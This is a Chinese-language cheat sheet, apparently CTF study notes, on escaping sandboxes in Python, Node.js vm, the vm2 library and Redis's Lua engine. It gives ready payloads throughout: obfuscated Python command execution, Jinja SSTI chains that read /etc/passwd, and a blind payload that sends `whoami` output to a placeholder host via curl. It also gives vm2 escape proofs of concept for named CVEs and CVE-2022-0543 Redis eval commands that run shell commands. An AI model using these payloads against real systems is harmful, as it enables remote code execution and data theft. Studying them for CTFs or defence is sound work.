逃逸
逃逸
记录各种逃逸的方式
1.python沙箱逃逸
介绍
在python的沙箱里面,会不允许使用一些函数,包括os等类,题目又要求我们从一个受限制的python环境里面getshell或者执行一些命令
首先是一个可以fuzz 沙箱里面过滤了什么的脚本
1 | all_modules_2 = [ |
最简单的命令
1 | __import__('os').system("dir") |
这里引入了os模块,执行了system命令
过滤了import
可以使用很多的方法
1 | __import__或者importlib直接引入,也可以使用execfile导入 |
过滤了os
可以使用字符串处理调用出os
1 | __import__('so'[::-1]).system("dir") |
可以用eval和exec去逃逸
1 | exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) |
处理方法包括逆序、变量拼接、base64、hex、rot13…等等
如果os从sys.modules里面删掉了,os这下彻底没法用了
import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。
sys.modules['os']
只会让 Python 重新加载一次 os
这里只要del sys.modules[‘os’]就可以重新加载os
利用内建函数__builtins__
查看最基础的内置类
这里查看builtins类内置函数
可以看到这里存在很多可以被我们利用的方法
1 | 直接导入 |
也可以使用一些花的方法
通过dict访问
1 | __builtins__.__dict__[‘import__('os')’].system('dir') |
调用各种函数
1 | __builtins__.__dict__.__getitem__('file')('/etc/passwd').read() |
import导入其他模块
1 | __builtins__.__import__('commands').getoutput('id') |
如果函数被干掉了
可以reload重载
如果reload被干掉了
1 | import imp |
object方法
类似ssti,使用各种包括base函数去构造object
这里不再详谈
getattribute、decode拼接绕过关键字过滤
1 | [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir') |
无[]法
1 | ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read() |
request法
无引号
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }} 提交参数&cmd=id |
无__
1 | {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }} 提交参数&class=__class__&mro=__mro__&subclasses=__subclasses__ |
无回显
curl
1 | {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %} |
时间盲注
1 | __builtins__.__import__( timeit).timeit("__import__('os').system('if [ $(whoami|base32|wc -c|cut -c 1) = ];then sleep 2;fi')", number=1) |
其他模块
1 | __builtins__.__import__( timeit).timeit("__import__('os').system('ls')", number=1) |
如果直接ban字符
unicode字符绕过字符替换
1 | a ['a', 'ª', 'ᵃ', 'ₐ', 'ⓐ', 'a', '𝐚', '𝑎', '𝒂', '𝒶'] |
一些其他的payload
1 | open("flag").read() |
祖传脚本
1 | import requests, base64 |
2.vm沙箱逃逸
0.介绍
在代码里面,有的时候会直接调用eval等函数,对于这些函数,无法屏蔽上下文环境的攻击,但是nodejs提供了一个函数叫做vm函数,与eval/Function 最大的区别就是可自定义上下文,也就是可以控制被执行代码的访问资源。vm创造了一个沙盒的环境。
1.js的作用域
如果有两个包1.js和2.js两个包
在包1里面是不能直接调用包2的
但是可以通过好多方式,比如require取取出来
或者设置一个exports
1 | var age = 20 |
或者global对象
服务端的Nodejs中和
window
类似的全局对象叫做global
,Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xxx
的方式来访问,直接用xxx
就可以调用这个变量。举个例子,console
就是挂载在global下的一个全局变量,我们在用console.log
输出时并不需要写成global.console.log
,其他常见全局变量还有process
全局命名空间
全局命名空间是指在JavaScript中,所有全局对象(如window
、globalThis
、global
对象)都有一个共同的全局命名空间。在这个命名空间中,所有的全局变量、函数、类等都是可见的,无需使用var
、let
或const
声明。
全局命名空间在JavaScript中是非常重要的,因为它提供了全局对象的访问和操作能力。例如,window
对象包含了所有的全局属性,如document
、console
、setTimeout
等。全局命名空间也是JavaScript模块系统的基础,它允许你使用import
和export
关键字来导入和导出模块中的对象和函数。
全局命名空间在虚拟机环境中也是类似的,它同样包含了所有的全局对象,如globalThis
、global
对象等。因此,在虚拟机环境中执行的代码可以访问到全局命名空间中的全局对象,并执行相应的操作。
这给我们逃逸提供了基础
2.eval/Function与vm
1 | var a=1 |
这里可以使用eval,改变外面的变量的值
这里的eval函数在使用的时候,能直接影响上下文
如果我们建立一个沙箱环境
1 | const vm = require("vm"); |
可以看到,使用vm之后,可以使用context自定义上下文对象,也就是建立了一个沙箱环境,沙箱内的环境对外面的函数没有任何的影响,只有将a添加到环境里面的时候,才能读取
只能读取设置环境,不能修改
3.vm函数
沙箱的本质是创建一个作用域,将接受的函数作为参数执行
以下是一些参数
1 | vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。 |
4.开始逃逸
vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。
例子
1 | const vm = require("vm"); |
这里使用runInNewContext建立了一个沙箱,但是我们通过this.constructor.constructor('return process')()
在虚拟机环境中创建了一个全局对象,该对象具有对全局命名空间的引用。然后,代码使用y1.mainModule.require('child_process').execSync('calc')
来执行child_process.execSync('calc')
。这里就已经逃逸出了vm沙箱
这里通过this.constructor.constructor('return process')()
来向上寻找父类,将自己构造成了process类
1 | this.constructor是object |
5.限制原型链子是null
原来那样逃逸就寄了
原因简单,尝试寻找父类的时候寄了
由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function
成员类执行
这样是可以执行
1 | const vm = require("vm"); |
可以执行
这里虽然限制了环境是Object.create(null);,如果直接使用constructor获得他的构造器,会返回一个空值
但是我们对他的成员类去返还构造器,就能得到object,从而完成逃逸
tostring重写
1 | const vm = require('vm'); |
这里我们写了一个函数,同时重写了tostring方法,输出的时候,通过arguments.callee.caller获得正在运行的函数,然后获得构造器,成功构造全局变量,rce成功
Proxy劫持属性
1 | const vm = require("vm"); |
我们定义了一个get函数,取用类里面对象的时候就会执行
proxy报错回显
1 | const vm = require("vm"); |
这里直接调用了null,会报错,但是会在报错的时候,用catch捕获到了throw出的proxy对象,将相关的报错和rce结构都返回了。
3.vm2逃逸
我又来啦 嗨嗨嗨
前言
vm实在是太差了,所以第三方包vm2来了
vm2相比vm做出很大的改进,其中之一就是利用了es6新增的proxy特性,从而使用钩子拦截对constructor和__proto__
这些属性的访问。
这里主要还是一些cve之类的
通过超过RangeError的最大调用堆栈大小CVE-2019-10761
要求version <3.6.11
在沙箱外的对象中触发一个异常,并在沙箱内捕捉错误e,这样就可以获得一个外部异常e,再利用这个异常e的constructor获得Function从而获取process对象执行代码
1 | const f = Buffer.prototype.write; |
CVE-2021-23449
version<3.9.5
import逃逸
import()在JavaScript中是一个语法结构,不是函数,所以我们能可以通过这样的方法直接调用构造器获得一个外部的变量
1 | let res = import('./foo.js') |
has方法未代理导致绕过
首先在沙箱中自己定义了Object.prototype.has方法,在该方法里面通过获取t变量(也就是主键)的构造器,然后再返回process对象
第二个部分就是,通过 “” in Buffer.from 来触发has方法来实现返回process对象
1 | const {VM} = require('vm2'); |
获取host.Function逃逸执行rce
poc
1 | var process; |
劫持通过劫持Symbol对象的getter
1 | Symbol = { |
覆盖prepareStackTrace
version<3.9.10
1 | const { set } = WeakMap.prototype; |
CVE-2022-36067
vsrsion<3.9.11
3.9.10中并没有对Error做相关的限制,导致我们可以重新定义一个Error来绕过对LocalError的prepareStackTrace的操作,就是我们通过实例化Error对象就可以获得栈的情况,其中prepareStackTrace函数定义了如何对异常的栈的处理,我们这边进行重写,因为栈中不仅包含了沙箱的栈还包含了其他作用域下的栈,那么思路就出来了,我们只需要通过遍历栈中的对象,拿到全局作用域下的process即可进行逃逸
1 | globalThis.OldError=globalThis.Error; |
4.redis逃逸
前言
Redis是一种非常广泛使用的缓存服务,但它也被用作消息代理。客户端通过套接字与 Redis 服务器通信,发送命令,服务器更改其状态(即其内存结构)以响应此类命令。Redis 嵌入了 Lua 编程语言作为其脚本引擎,可通过eval命令使用。Lua 引擎应该是沙盒化的,即客户端可以与 Lua 中的 Redis API 交互,但不能在运行 Redis 的机器上执行任意代码。
漏洞原因
Lua 由 Redis 动态加载,且在 Lua 解释器本身初始化时,module和require以及package的Lua 变量存在于上游Lua 的全局环境中,而不是不存在于 Redis 的 Lua 上,并且前两个全局变量在上个版本中被清除修复了,而package并没有清楚,所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。
1 | void luaLoadLibraries(lua_State *lua) { |
最后没有设置pakeage为null
CVE-2022-0543 poc
攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
存在在以下版本
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
poc
1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0
1
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0